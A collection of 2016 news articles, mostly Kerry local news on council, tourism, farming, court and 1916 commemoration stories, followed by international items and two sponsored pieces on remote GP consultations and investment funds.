Medical marijuana, devoid of the potent mind-altering THC component, is legal in parts of the US and Australia.

The Waterville based councillor said many people suffering from MS and Cystic Fibrosis in particular would benefit, saying that powerful drugs are already on the market for use under strict medical supervision. "I spoke with members of the Irish College of General Practitioners who basically told me they produced a paper supporting the call for this as they clearly see it as part of medical assistance," Norma added.

The motion was strongly supported by councillors Toireasa Ferris and Terry O'Brien, with the latter citing a public perception of marijuana as the reason why people overlook its medical benefits. "This is a genuine request and I support it," Cllr O'Brien said.

Cllr Ferris explained that she knew of cancer patients suffering severe joint pain and it "beggar's belief" that something which gives pain relief can't be accessed. "It's scandalous they can't avail of this," she said.
An innovative new mapped brochure highlighting all that the Mid Kerry area has to offer visitors has been officially launched by the Mid Kerry Tourism Cluster

key tourism businesses throughout Mid Kerry gathered at Jack's Coastguard Restaurant in Cromane for the launch on Friday, which also formed the perfect platform for experts from all facets of the tourism trade to advise and encourage tourism providers in Mid Kerry on how best to market their business solely and collectively.

Guest speakers included Robbie Egan who spoke about the advantages of becoming a partner with the well-established booking engine Booking.com. It was followed by entrepreneur Tracy Healy of Let's Get Digital whose inspiring presentation on Marketing for Tourism & Hospitality got guests thinking of their online presence and their 'Digital Word of Mouth'.

To end the seminar, Declan Murphy of Failte Ireland spoke on the Wild Atlantic Way, how far they have come, what the plan is going forward and how the variety of business in Mid Kerry can come on board to develop their brand in conjunction with Failte Ireland and The Wild Atlantic Way.

Mid Kerry Tourism Cluster Chairperson Brian Keary of Jack's Coastguard Restaurant paid tribute to the Cluster members who, he said, have doubled in the past year, as well as Kerry County Council, Failte Ireland and local politicians, all of whom have been working collectively to put the area to the fore of Kerry tourism.
A young Kerry student's talented writing was recognised at this year's prestigious KBS National Student Media Awards when he was awarded the top prize of the entire event.

Wayne O'Connor from Killarney scooped the National Journalist of the Year Award for his work during the year with a number of national titles.

The 'Smedia' Awards - as they are known - are in their 16th year and honour Ireland's best and brightest young talents in media.

University of Limerick student Wayne is currently working with The Irish Independent on a part-time basis as he finishes his final year of study.

"Of course it's great to get recognised. We even had a bottle of champagne at The Irish Independent offices to celebrate," he said.

Wayne, a student of Journalism and New Media, submitted two articles based on the general election and a local murder investigation.

The desire to win a Smedia among students is taken as an indication of talent to employers in the media industry and this year's calibre of talent at the Aviva Stadium made it a challenging experience for both judges and nominees.
The ill-fated boat that brought Roger Casement ashore has hit troubled waters for the second time in history with Sean Quinlan of the North Kerry Museum claiming to be in possession of the original - just as Kerry County Museum launches a new exhibition with what they insist is the original as a centrepiece.

Mr Quinlan claims he has an official letter from the Department of Defence stating that the boat was taken to Haulbowline, Co. Cork, in 1916 where it remained in a shed until Ballyheigue Maritime Museum acquired it for an exhibition 16 years ago - from where it was eventually brought to his museum in Ballyduff.

"Tralee museum wrote to us for the boat we have for their own exhibition," Mr Quinlan said.

"We couldn't part with it as we were in discussions with the Department of Defence in Dublin at the time as they wanted it for the State's 1916 ceremony."

He said that features of the boat held in the county museum do not tally with written accounts which suggest that Casement's landing vessel had three oars and displayed evidence of an attempt to scuttle it.

"The original boat had three oars which made landing difficult for Casement and the boat we have has three oars, but the one in the county museum has four. Monteith also tried to scuttle the boat, but the one in Tralee shows no sign of a hole," Sean added.

However, Helen O'Carroll strongly disputes this. "We did contact Sean last year when we thought it was the original. I outlined my reasons why Sean's boat wasn't the original, and we withdrew our request for it," explained Helen.

According to Helen, the original boat was photographed in Ardfert RIC Barracks on May 4, 1916, by Tralee photographer, WB McCarthy.

Ms O'Carroll said that documentary evidence exists 'proving' the boat was transported from Ardfert on June 13, 1916, to Windsor Castle four days later - on June 17.

Helen is adamant the boat the County Museum acquired from the Imperial War Museum in London has five distinguishing features that match the boat in this photograph - including four oars and no evidence of scuttling.

"Monteith's own account outlines his attempt, and failure, to scuttle the boat. The hole in the boat is not a distinguishing feature here and the original picture shows four oars. This is another red herring and there is no evidence that Monteith made a hole," Helen added.

Adding further to the intrigue is the suggestion that there was a second boat linked with that ill-fated morning in April, 1916.

Local tradition asserts that a staged photograph was taken shortly after Casement's landing, showing four RIC officers carrying a boat from Banna Strand; a photo thought to have been taken with the aim of enhancing newspaper reports surrounding Casement's arrest.

100 years later, however, and the saga remains divisive and as mystifying as ever.
Kenmare farmer Flor Mc Carthy has failed in his bid to win the presidency of the Irish Farmers Association.

Mr McCarthy - who was the first Kerryman to run for the post - lost out to Athenry based Joe Healy who won 47 per cent of the total vote.

IFA Livestock Chairman Henry Burns finished in second place securing 31 per cent of the ballot with Mr McCarthy in third on 22 per cent.

The results of the election - which was triggered by last November's scandal over the pay of senior IFA representatives - were announced just as The Kerryman went to press on Tuesday evening.

Just over 75,000 farmers from the 947 IFA branches all over the country were eligible to vote. The election took place over a ten-day period earlier this month and the count was held in Dublin's Castleknock Hotel on Tuesday.

Though Flor McCarthy, who is currently the IFA's Rural Development Chairman, secured a huge vote in his native Kerry he was unable to draw similar support across the rest of the country.

Mr McCarthy won the vote in Kerry with 3,248 votes according to tallies. He also won in West Cork and came second in North Cork and Limerick.

However in all other counties tallies indicated that he had finished in third place and well behind Mr Healy.

After the result Flor McCarthy was magnanimous in defeat and pledged his full support to the new IFA head.

He said the IFA is needed now more than ever as Irish farming deals with a period of unprecedented crisis.

"This will be one of the most difficult presidencies, and it will be a challenge to put things right. Joe has my 100 per cent support," said Flor McCarthy.

In his victory speech Mr Healy said agriculture is the cornerstone of rural Ireland, and has to be respected as such by The Government and by EU leaders in Brussels.
Well over 100 Kerry drink driving cases could potentially be thrown out of court once the Court of Criminal Appeal makes its judgement in a case that has been holding up drink driving cases across the country since last October.

At a sitting of Listowel District Court last week, 17 affected cases alone were once again adjourned, prompting a number of solicitors to express their frustration at the continuing hold up.

The inordinate delay centres around a road traffic prosecution against Romanian national Mihai Avadenei, during which his solicitor argued that the intoxyliser statement (Evidenzer Irl) given to him was not valid because it was in English only and not in both English and Irish as, he argued, is the law.

The case was heard in the High Court by way of a judicial review, where Judge Noonan ruled that said intoxyliser statement should indeed have been issued in both languages.

This decision was ultimately appealed by the State to the Court of Appeal and although the case was heard over two months ago, no judgement has yet been made.

The lack of clarity on the issue means that all drink driving incidents prior to last October cannot be heard in court - and that ultimately, should the Court of Appeal uphold the High Court ruling, then over 100 cases here in Kerry alone will have to be dismissed.

At last Thursday's sitting in Listowel, solicitor Pat Enright applied to have a number of such cases adjourned on a point of delay, saying that the lack of a decision two months after the Court of Appeal case was heard was not acceptable.

Killarney solicitor Padraig O'Connell also made a number of similar applications on the same grounds.

Judge James O'Connor, however, granted the State's application to adjourn the cases until May 5, but Mr Enright said he would be making a similar application on that date.

Over 1,400 cases nationally are affected by the delay.
Listowel commences its programme of 1916 commemoration events on Saturday, April 23, with a lecture entitled 'On Lonely Banna Strand: Roger Casement, Kerry & the 1916 Rising'.

Organised by Listowel & District Historical Society, the lecture will consider why Casement became a committed Irish revolutionary and explore his IRB sanctioned mission to Germany, the planning of a German arms landing in Kerry and why he felt compelled to return to Ireland in the days before the Rising's outbreak. The lecture will be delivered by Kilflynn native and lecturer of Modern Irish History at UCD, Dr Richard McElligott

On Sunday April 24, Listowel Military Tattoo will host a wreath laying ceremony after 11am mass at the war memorial plaque in The Square to remember all those involved in the Easter Rising both from Kerry and beyond.

Lectures continue on Tuesday, April 26 with 'The Man Who Shot Michael Collins' by John Flannery, President of Ormond Historical Society, Tipperary. Helen O'Carroll, Curator of Kerry County Museum will deliver her lecture on 'Ardfert witnesses at the Trial of Roger Casement' on Wednesday, April 27.

All lectures will take place at the Seanchai - Kerry Writers' Museum and commence at 8 pm. For more information visit www.kerrywritersmuseum.com or telephone (068) 22212.

Meanwhile, St John's Theatre presents 'Dublin Burning' on Thursday April 28.
Creating more vibrant town centres and improving the marketing of the county as a tourist destination must be among the key measures of a new development plan for Kerry if it is to be in anyway effective.

A draft of the new Local Economic and Community Plan (LECP) 2016-2021 was unveiled on Monday at county buildings in a move largely welcomed by local politicians.

Council managers say the expansive plan - which examines numerous aspects of the local economy - will proive a 'framework for collective action in relation to economic and community development' once adopted.

"This is a living plan that won't be stagnant. Actions that are relevant today may not be relevant in twelve months and we must ask what actions are best," Acting director of economic development and community services Michael Scannell told councillors.

Councillors welcomed the report but said it needs to do more in certain areas.

Independent Councillor Brendan Cronin called for greater priority to be given town centres.

"Town centre vibrancy and specific, small niche tourist products," should be prioritised by the LECP, he suggested.

Sinn Fein's Damian Quigg meanwhile argued for far greater emphasis on the marketing of Kerry and on Gaeltacht development and promotion.

"We're just not doing it right. We need a lot more emphasis on what we have," Cllr Quigg said in relation to marketing.

Meanwhile, Cllr Michael O'Shea said his biggest fear is that the plan would be 'left to gather dust', while Cllr Norma Foley welcomed 'the language of the report' calling for 'a shared responsibility' in its implementation.
The Students Union at Institute of Technology Tralee has condemned a work to rule strike action by Teachers Union of Ireland members at the college.

The ITT SU has severely criticised the TUI action which centres on a dispute between management at ITT and the TUI over student complaint procedures.

In a statement issued to their members the ITT SU said the strike action was "causing extreme anxiety for students.

In its statement the ITT SU said it had been made aware that the TUI had taken issue with a matter arising from the college's Student Complaints Procedure in March.

As a result the SU claims that TUI issued its members in the college ordering them not to comply with the ITT complaints procedure.

According to the ITT SU statement this action was escalated last week and now TUI members are not "providing students with feedback in relation to assessments or academic progress and not attending the student/lecturer meetings scheduled to take place after examination results are released."

The ITT SU said the TUI's move was "an unfair and invalid action" that is having "an extremely detrimental effect on the student body. A body who are largely not party to the creation or change of policy or procedure within the Institute."

As The Kerryman went to press on Tuesday evening the TUI had not yet released any statement on the matter and had not replied to a request for comment.

Management at ITT have said they are willing and available to meet with the TUI and engage in meaningful discussions.
With the over 65 population of Ireland set to double in the next 20 year, an already struggling healthcare system is set to be exposed to huge stresses. Thats why all technological advances have to be utilised to ensure were getting the care we need.

The medical sector is being revolutionized by advances in technology like 3D printing and wearable technology. We have completely changed the way we prevent, diagnose and treat illnesses and we are all set to reap the benefits of a fitter and more advanced medical technology.

However, how medical services are served out, i.e. GP visits, still remains unchanged. If we get sick and need to see a doctor, we have to leave the house and sit in a waiting room full of other sick people. If we fall sick at the weekend we may have to wait until Monday until we get seen. Thats not much use to a childs parent in the middle of the night or a relative of an elderly relative with an injury.

Yet every other sector of our lives has been changed by the smart phone you carry in your pocket. If you want to buy tickets, order a pizza or a cab you reach for your phone. Even if you want to find someone to love, you swipe your dating app. So why is the GP visit set in the past?

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It seems wildly overdue, but there are remote GP services landing in Ireland. MeeDoc, the European leader in e-consultations is now live in Ireland. Its a way to see a doctor at any time from the comfort of your own home, you can diagnose and treat many conditions, organise prescription renewals and receive professional medical advice.

You can discuss your symptoms confidentially with a fully licensed, healthcare professional, all MeeDocs GPs are fully licensed Irish GPs. You can send messages and photos or talk face-to-face on video, the doctors can treat a wide range of issues and if needed, your doctor can send a prescription to your nearest pharmacy for you to pick-up.

Remote GP access is here to stay and very quickly will become a part of our everyday lives. It is not however, a replacement for a face-to-face visit with your family GP, its more a complimentary service. There is no replacement for a GP that knows you and your family well, but there is definitely a place for the MeeDoc service in Ireland to take up the slack from the under pressure General Practitioners.

MeeDoc is offering Irish customers a trial consultation for only 1 as opposed to the usual 34. Just register at MeeDoc https://ie.meedoc.com/ . Download the app or try it on your desktop, the code is 1-Welcome.

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Often, with our busy lives, planning for the future can take a backseat to the needs of the moment.

This may be especially true in financial matters: unexpected expenses always seem to crop up  a wedding you have to go to, a broken phone, or a new gas boiler for your home.

Every once in a while, however, it is important to stop, take stock, and think about what you might want  or need  a few years down the road. Wouldnt it be nice to know that there is a place your money can go, where the amount will be growing over time, enabling you to live the life you want in the future?

A fund to suit you

Irish Life MAPS are a range of multi-asset portfolio funds, available across Irish Lifes investment and savings plans, developed to suit the needs of different types of investors  from the Conservative to the Very Adventurous. As the name suggests, each fund is multi-asset, investing in shares, bonds, cash and alternatives.

A lot of people have left money on deposit because its simply easier to do that than to make the active decision to invest, says John Groarke, marketing manager in Irish Life. But what we also see is that nearly one in two of people weve researched have told us they dont feel their money is working hard enough for them on deposit. If you want your money to work for you, you need to look at investment funds.

A good reason to choose a multi-asset fund is that old adage about putting your eggs in one basket. Spreading your money among lots of assets should mean a smoother return over the long term  making sure youre not relying on one particular country, or one particular industry, or one particular company.

The average amount invested with Irish Life MAPS is 50,000  but the sum totally depends on the individual. With our savings products, you can invest with as little as 100 a month, says John. With our lump sum investment product, you can begin from 10,000.

The successful investor

There are some things you can do yourself to begin your investment journey  head to the Irish Life website and see what sort of fund might suit, for example. But after that, you should speak to a financial broker or adviser.

John says: They will be able to tell you how much you can afford to invest, looking at your other obligations, what you need to spend in the next year or so, what you earn, what you borrow. They can give you a recommendation.

Getting expert advice is one of the key traits of the successful investor, according to John. Another is knowing why you want to invest  what youre hoping to achieve. This will define what constitutes success, for you.

Are you investing to have a particular amount of money in 15 years time, or are you investing simply to beat bank deposit rates? Are you saving for the kids college fund down the line, or saving to have money in retirement?

If, at the end of the investment term, you have achieved what youre trying to do  that is the ultimate sign of a good investment.

Frequently asked questions

How will I know which investment will suit me?

Irish Life have a simple three-step online tool that helps guide people to see what type of investor they might be. First you take the investment profile test; depending on your answers, it matches you to a fund that might suit you  depending on your level of risk. Then it lets you see the range of returns you could expect. You can visit www.irishlife.ie to start your investment journey.

How long should I invest for?

We would always recommend a five-year investment period, or longer. If you have something coming up next year  say you need to buy a new car  thats not money to put in an investment fund now. Thats what your deposit account is for.

Do I have to commit to a specific term?

Our products are open-ended; if you do want to get your money back before the five years, you could do that  though we wouldnt recommend you do that  or you could leave it invested for much longer than you originally intended.

How involved do I need to be after making the initial decision to invest?

You can be as involved or uninvolved as you want to be, says John. We have an investment app, and you can check the value of your investment every day if you like, but you dont need to. We do recommend that at least on a yearly basis you talk to a financial advisor  just to check in, especially if some of your circumstances have changed.

To discover your investor profile and discover the right path for you, visit www.irishlife.ie or talk to your Financial Broker or Adviser

Irish Life Assurance plc is regulated by the Central Bank of Ireland.

Information correct as of April 2016.

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Queen Elizabeth II (C) posing on the steps of the east terrace with four of her dogs (top L-R) Willow, Vulcan, (bottom L-R) Holly and Candy in the garden of Windsor Castle in Windsor. ANNIE LEIBOVITZ/AFP/Getty Images

18. For his first Trooping The Colour, George stole the show among a balcony of royal family members, including Queen Elizabeth II.

This handout portrait picture taken by US photographer Annie Liebovitz shows Queen Elizabeth II (C) posing with her daughter Princess Anne in the White Drawing Room of Windsor Castle in Windsor. ANNIE LEIBOVITZ/AFP/Getty Images

Queen Elizabeth II (C) posing with her two grandchildren, James, Viscount Severn (L) and Lady Louise (2L) and her five great-grandchildren Mia Tindall (holding handbag), Savannah Philipps (3R), Isla Phillips (R), Prince George (2R) and Princess Charlotte (C) in the Green Drawing room at Windsor Castle in Windsor. Picture: ANNIE LEIBOVITZ/AFP/Getty Images

Queen Elizabeth II (C) posing with her two grandchildren, James, Viscount Severn (L) and Lady Louise (2L) and her five great-grandchildren Mia Tindall (holding handbag), Savannah Philipps (3R), Isla Phillips (R), Prince George (2R) and Princess Charlotte (C) in the Green Drawing room at Windsor Castle in Windsor. Picture: ANNIE LEIBOVITZ/AFP/Getty Images

Buckingham Palace have released three official photographs to mark the Queen Elizabeth II's 90th birthday.

The photographs show the British monarch posing with two of her grandchildren and her great-grandchildren, as well as her with her daughter Princess Anne and her corgis.

The photographs were released at midnight on the Queen's birthday.

Meanwhile, a host of political figures have congratulated the nonagenarian.

Expand Close This handout portrait picture taken by US photographer Annie Liebovitz shows Queen Elizabeth II (C) posing with her daughter Princess Anne in the White Drawing Room of Windsor Castle in Windsor. ANNIE LEIBOVITZ/AFP/Getty Images / Facebook

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Whatsapp This handout portrait picture taken by US photographer Annie Liebovitz shows Queen Elizabeth II (C) posing with her daughter Princess Anne in the White Drawing Room of Windsor Castle in Windsor. ANNIE LEIBOVITZ/AFP/Getty Images

Scotland's First Minister and Holyrood's party leaders have congratulated the Queen on her milestone birthday.

Nicola Sturgeon spoke of the monarch's "incredible bond" with Scottish people as she sent best wishes on behalf of the country.

The Royal Banner - the Lion Rampant - will be flown from the Scottish Government's main building to mark the occasion.

Expand Close Prince George stands on foam blocks during a Royal Mail photoshoot for a stamp sheet to mark the 90th birthday of Queen Elizabeth II. The sheet features four generations of the Royal family, from left, the Prince of Wales, Queen Elizabeth II, Prince George and the Duke of Cambridge, and the picture was taken in the summer of 2015 in the White Drawing Room at Buckingham Palace. Photo: Ranald Mackechnie/Royal Mail/PA Wire / Facebook

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Whatsapp Prince George stands on foam blocks during a Royal Mail photoshoot for a stamp sheet to mark the 90th birthday of Queen Elizabeth II. The sheet features four generations of the Royal family, from left, the Prince of Wales, Queen Elizabeth II, Prince George and the Duke of Cambridge, and the picture was taken in the summer of 2015 in the White Drawing Room at Buckingham Palace. Photo: Ranald Mackechnie/Royal Mail/PA Wire

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The First Minister said: "Many congratulations on behalf of the people of Scotland to Her Majesty The Queen on the occasion of her 90th birthday.

"Just last year, we were fortunate enough to be able to celebrate with Her Majesty as she became the United Kingdom's longest serving monarch on the day she also opened the new Borders Railway.

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"Over the course of that incredible day, it was clear the huge affection Her Majesty had for Scotland and the incredible bond she has forged with the people who live here over her many years of dedicated public service.

"Many thousands across the country will be toasting Her Majesty today as she marks this wonderful milestone and I am delighted that there will be more opportunities for people across Scotland to help her celebrate when she makes her annual visit during Royal Week."

Expand Close 18. For his first Trooping The Colour, George stole the show among a balcony of royal family members, including Queen Elizabeth II. / Facebook

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Whatsapp 18. For his first Trooping The Colour, George stole the show among a balcony of royal family members, including Queen Elizabeth II.

Scottish Labour leader Kezia Dugdale also sent her best wishes.

She said: "Her near 65 year reign is a remarkable dedication to public service. It is fitting that we use this happy occasion to pay tribute to that.

"The Queen takes a keen interest in what's happening in Scotland and in the Scottish Parliament so I'm sure people all across Scotland will join me in passing on our best wishes to the Queen and her family."

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Scottish Liberal Democrat leader Willie Rennie said: "The Queen has offered our country a lifetime of service.

"She was there for people at the worst of times, with the support she offered families in Dunblane and the best, as she helped launch the 2012 Olympics. We wish her all the very best as she celebrates this landmark birthday."

Leader of the Scottish Conservatives Ruth Davidson said: "I offer my sincerest congratulations to Her Majesty on her 90th birthday today.

"It is entirely typical that she is still fulfilling a hectic schedule of duties this week as, throughout her reign, she has been the embodiment of public service and duty.

"I hope she finds time to enjoy this special day first and foremost with her family. And I hope she knows that people right across Scotland, the Commonwealth and the world are wishing her well.

"They - like me - look forward to her reign continuing for many years to come."

Scottish Greens co-convenor Patrick Harvie wished the Queen and everyone else celebrating their birthday "a great day".
She's one of Ireland's most respected broadcasters, but Claire Byrne is as down-to-earth as it gets.

The RTE presenter (40) has two children - Patrick (three) and Jane (two) - with fiance Gerry Scollan and said all of her spare time is spent with her family.

"What do I do with my free time? Wipe bums," she joked to Irish Country Magazine

"I wiped my son's bum on Sunday because he's toilet training and he turned to me and said: 'Mummy, you're really good at this,' and I thought, 'Yes, I was born to wipe your ass'. All of his little intonations were perfect and I was like, 'Thank you'."

Expand Close Gerry Scollan and Claire Byrne at the 3rd Annual Bloomsday Ball in aid of National Maternity Hospital Holles Street / Facebook

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"I just have very little time to be honest and I know there are some people who are really good at fitting everything in who will see that and will think that everyone has time to do that, but at the moment I just feel like if I get a dinner on the table and I get to work, that's really good going."

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Claire, who has previously spoken out about the sexist line of questioning of how women balance a career and motherhood, echoed her statements saying, "both people in a couple will have the pressure of getting out the door and of being in the world and doing their work and looking after their children.

"I just wonder how we've gotten ourselves into this situation culturally where the pressure is seemingly all on the woman when, in our house anyway, it's spread between us."

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The Laois native didn't hold back when it came to grilling party leaders in the run up to the election and was widely praised for her tactics on her show, Claire Byrne Live. She added that she felt a responsibility to deliver to the Irish voting public watching at home.

"It was my job to elicit as much information from these people as possible, to make sure that they answered the questions they were being asked and not another question they wanted to answer.

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"I think that when you keep in your mind that your job is to ask the questions that people at home want answered that will get you through. And it worked and we were really pleased."

"I was really, really nervous about it. And then I think there was almost a biological reaction that shut down the nerves and just went into business mode, so through Sunday and into Monday, I was just ready for it."
The United States says it is concerned about reports that Russia is moving more military equipment into Syria to bolster President Bashar al-Assad with a truce in tatters and peace talks in meltdown.

Fighting raged across Syria after the truce, brokered by Washington and Moscow to allow talks to take place, ended and both sides geared up for more war.

Russian intervention late last year swayed the conflict in Assad's favour.

"We've been concerned about reports of Russia moving materiel into Syria," Ben Rhodes, deputy national security adviser to US President Barack Obama, said at a news briefing in Riyadh, where Mr Obama was at a summit with Gulf Arab leaders.

"We think it would be negative for Russia to move additional military equipment or personnel into Syria. We believe that our efforts are best focused on supporting the diplomatic process," Mr Rhodes added.

UN special envoy Staffan de Mistura will today assess whether Geneva talks can continue with the main opposition negotiator refusing to participate and combatants accusing each other of breaking the six-week-old ceasefire.

Major nations have urged both parties not to miss this chance to try to halt the five-year conflict in which more than 250,000 people have been killed, but yesterday only experts were meeting and more opposition representatives were leaving.

Syrian government negotiators say Mr Assad's presidency is non-negotiable, while the opposition says the president must step down and complains of no progress on an end to violence, humanitarian access and political detainees.

Both sides remain far apart and it will be difficult to lure the opposition back to the table if fighting resumes unchecked, with the government taking advantage of Russia's firepower.

Press reports in the United States have indicated that Russia has moved more artillery into Syria, weeks after declaring a partial withdrawal of its military presence there.

The talks in Geneva aim to halt a conflict that has allowed for the rise of the Islamic State group, sucked in regional and major powers and created the world's worst refugee crisis.

Syria's fragile peace talks might not resume for at least a year if they are abandoned now, a senior Western diplomat warned. "If we all leave Geneva, I don't see the process continuing."

Meanwhile, Mr Obama says the United States will deter and confront aggression against Gulf Arab monarchies, who continue to have concerns about threats from Iran. "I reaffirmed the policy of the United States to use all elements of our power to secure our core interests in the Gulf region and to deter and confront external aggression against our allies and our partners," he said in Riyadh yesterday after the summit with the Gulf Cooperation Council (GCC).

The US president added that all the leaders were committed both to the fight against Isil and to de-escalating regional conflicts, .

Footage and photographs aired on state media showed the leaders at a large circular table under a chandelier, with Mr Obama sitting with King Salman on his left and the Abu Dhabi crown prince Sheikh Mohammed bin Zayed al-Nahayan on his right.
A fence decorated with ribbons with messages urging the reunification of the two Koreas at the Imjingak Pavilion near the border with North Korea (AP)

South Korea has rejected the North's unusual overture to send North Korean relatives to Seoul to be reunited with the 13 restaurant workers it says were abducted in China by spies from the South.

The workers, from a restaurant North Korea says is in the eastern Chinese city of Ningbo, are the biggest group to defect since Kim Jong Un took power in Pyongyang in 2011.

The North typically accuses Seoul of kidnapping or enticing its citizens to defect, but an attempt to reunite the families is extraordinary.

Pyongyang's state media said it had informed Seoul that the North will try to send the relatives through the border village of Panmunjom but did not say when.

"The families of the abductees are eagerly asking for face-to-face contact with their daughters as they were forced to part," said the message carried by the official Korean Central News Agency.

Seoul's Unification Ministry responded in a brief statement that it could not accept the North's request because the restaurant workers decided on their own to resettle in the South.

North Korea has already warned of unspecified retaliation if the South refuses to send back the restaurant workers.

The defection of one male manager and 12 female waitresses has had intense media attention in South Korea. Since announcing the defection, Seoul officials have refused to disclose full details, and some critics have questioned whether the announcement was an attempt to influence the results of parliamentary elections, which the conservative ruling party eventually lost to liberal opposition parties.

The North has about 50,000 to 60,000 workers abroad, mostly in Russia and China, with a mission to bring in foreign currency, according to Seoul's intelligence service.

Pyongyang typically sends relatively affluent, loyal citizens to such jobs, because they are seen as being less affected by foreign cultures, according to experts in South Korea.

More than 29,000 North Koreans have fled to the South since the end of the 1950-53 Korean War, according to South Korean government records. Many defectors have testified that they wanted to avoid the North's harsh political system and poverty.
The bomb maker for attacks on Paris and Brussels had a previous career as a jailer for Islamic State, a lawyer for one of his hostages has said.

Brussels authorities say Najim Laachraoui, a 24-year-old Belgian, built the explosive belts used in the assaults on both European capitals and blew himself up at Brussels Airport on March 22.

He was also one of several jihadis who held some hostages captured in Syria, according to Marie-Laure Ingouf, who represents two former French captives.

"Laachraoui was one of the jailers of the French ex-hostages, and of other decapitated hostages, as they all shared the same cell," she said in a statement.

Her statement, which also referred to beheaded American captives James Foley and Steven Sotloff, said Laachraoui was known at the time as Abou Idriss and worked alongside Mehdi Nemmouche, a Frenchman accused of a 2014 attack on the Brussels Jewish Museum.

Nemmouche had already been identified as a jihadi jailer in Syria by one of Ms Ingouf's clients, Nicolas Henin.

Her statement partially confirms reports in French and British media identifying Laachraoui as the man who first imprisoned Mr Foley and British photojournalist John Cantlie and played a key role during negotiations over the fate of Mr Henin and three other French journalists.

All the French journalists including Mr Henin were eventually released. Mr Foley was beheaded in one of IS's first gruesome videos, while Mr Cantlie last appeared in a March propaganda video. His current whereabouts are not known.

Further details about the alleged roles played by Laachraoui or Nemmouche in the captivity of Mr Foley and Mr Sotloff were not immediately available. Ms Ingouf declined to say anything beyond the statement.

Laachraoui, a young mechanical engineering graduate, left for Syria in February 2013 - an early recruit amid a wave of Belgians who have travelled to fight with the extremists there - and later returned home under the alias Soufiane Kayal.

A central player in the dual attacks that killed a total of 162 people in Brussels and Paris, Laachraoui's job was to make the explosives and the suicide vests used in the assaults. His DNA was found on one of the vests that detonated inside Paris's Bataclan concert hall as well as one that blew up outside France's national stadium on November 13.

The last publicly distributed photograph of Laachraoui shows him pushing a cart full of explosives at Brussels Airport moments before setting them off.
China will explore civilian uses of space technology in areas such as navigation, remote sensing and communications

Work is proceeding quickly on China's planned mission to land a rover on Mars by 2020, the chief administrator of the ambitious space programme said.

China's Mars voyage will attempt to recreate the success of the US Viking 1 mission that landed a rover on the planet four decades ago.

"What we would like to do is to orbit Mars, make a landing, and rove around for reconnaissance in one mission, which is quite a challenge," China National Space Administration head Xu Dazhe said at a rare news conference.

"This is a project that has attracted much attention from both the science and space fields."

Mr Xu said Beijing will explore civilian uses of space technology in areas such as navigation, remote sensing and communications, and will seek international collaborations.

Since conducting its first crewed mission on a Chinese-built Shenzhou spacecraft in 2003, China has launched an experimental space station called the Tiangong 1, staged a spacewalk and landed its Yutu rover on the Moon.

This year, it plans to launch components for a larger, permanent Tiangong 2 space station some time after the beginning of June, as well as the Shenzhou 11 spaceship with two astronauts on board who are scheduled to dock with the station and live in it for several days.

Administrators suggest a manned landing on the Moon may also be in the programme's future.

A source of enormous national pride, Beijing's military-backed space programme plans 20 space missions this year at a time when the US and other countries' programmes are seeking new roles.

China is also developing the Long March 5 heavier-lift rocket needed to launch the Tiangong 2 and other massive payloads.
Barack Obama has urged Britain to stay in the European Union, saying that the sacrifice of his countrys soldiers during the Second World War means America has a stake in the referendum debate.

Writing exclusively in The Telegraph, the American President invokes the spectre of the war and tells British voters that their choice in the referendum will echo in the prospects of todays generation of Americans as well.

He also uses the article to warn that a vote to leave the EU will leave Britain less able to tackle terrorism, the migration crisis and any economic shocks in the global economy.

Allies of the Prime Minister believe that President Obamas appeal to voters to back the EU will electrify the referendum campaign and convince undecided voters to back Mr Camerons bid to ensure Britain remains a member of the bloc.

However, intervention will infuriate Eurosceptic Cabinet ministers, who have said it is inappropriate for him to comment on a British referendum.

The President uses his article to tackle their criticism head-on, suggesting that he has a right to comment because Britain and Americas special relationship was forged as we spilled blood together on the battlefield.

I will say, with the candour of a friend, that the outcome of your decision is a matter of deep interest to the United States, President Obama says.

The tens of thousands of Americans who rest in Europes cemeteries are a silent testament to just how intertwined our prosperity and security truly are. And the path you choose now will echo in the prospects of todays generation of Americans as well.

President Obama makes clear that he believes that the Unites States, the United Kingdom and the EU have turned centuries of war in Europe into decades of peace, and worked as one to make this world a safer, better place.

What a remarkable legacy that is, he writes. And what a remarkable legacy we will leave when, together, we meet the challenges of this young century as well.

The President makes an emotional appeal for Britain to vote to remain a part of the EU, which he says is an institution created from the ashes of war.

He makes clear that Britain  and Americas  ability to tackle the threat of Islamist terrorists is better served if the UK is still in the EU after the June 23 referendum.

Our special relationship was forged as we spilled blood together on the battlefield, he writes. It was fortified as we built and sustained the architecture for advancing stability and prosperity in Europe, and our democratic values around the globe.

From the ashes of war, those who came before us had the foresight to create the international institutions and initiatives to sustain a prosperous peace: the United Nations and NATO; Bretton Woods, the Marshall Plan, and the European Union. Their efforts provided a foundation for democracy, open markets, and the rule of law, while underwriting more than seven decades of relative peace and prosperity in Europe.

Today, we face tests to this order  terrorism and aggression; migration and economic headwinds  challenges that can only be met if the United States and the United Kingdom can rely on one another, on our special relationship, and on the partnerships that lead to progress.

President Obama uses his article to say that Britains membership of the EU magnifies its influence abroad.

As citizens of the United Kingdom take stock of their relationship with the EU, you should be proud that the EU has helped spread British values and practices  democracy, the rule of law, open markets  across the continent and to its periphery, he writes.

The European Union doesnt moderate British influence  it magnifies it. A strong Europe is not a threat to Britains global leadership; it enhances Britains global leadership. The United States sees how your powerful voice in Europe ensures that Europe takes a strong stance in the world, and keeps the EU open, outward looking, and closely linked to its allies on the other side of the Atlantic. So the U.S. and the world need your outsized influence to continue  including within Europe.

The President and Mr Cameron will today hold a joint press conference in Downing Street, where President Obama will again call on the UK to remain in the EU.

Iain Duncan Smith, the Eurosceptic who resigned as a Cabinet minister last month, said: President Obama, and every one of his predecessors, have ferociously protected the sovereignty of the USA - and I only wish we could say the same of our leaders.

What I do find strange is that he is asking the British people to accept a situation that he patently would not recommend to the American population.

He added: If he believes it would be unacceptable for the American people - those he is actually elected to guide - I fail to see how it is appropriate for him to recommend that the British people continue to relinquish their right to democratic self-governance.

Mr Cameron on Thursday warned that the referendum is a choice for life and said a vote to leave would be a self-inflicted wound on our economy.

He also accused ministers backing the Brexit campaign, including Michael Gove, the Justice Secretary, of insulting the British people and scaremongering about what staying in the bloc means for the country.

The Prime Minister also warned that British products including cider, cheese and whiskey could be threatened if we leave the EU because they would no longer enjoy protected geographical status, meaning copycat producers could sell products with the same name of an inferior quality.

It came as the UK's statistics watchdog warned that one of the key claims made by the Brexit camp over the financial cost of EU membership is "potentially misleading".

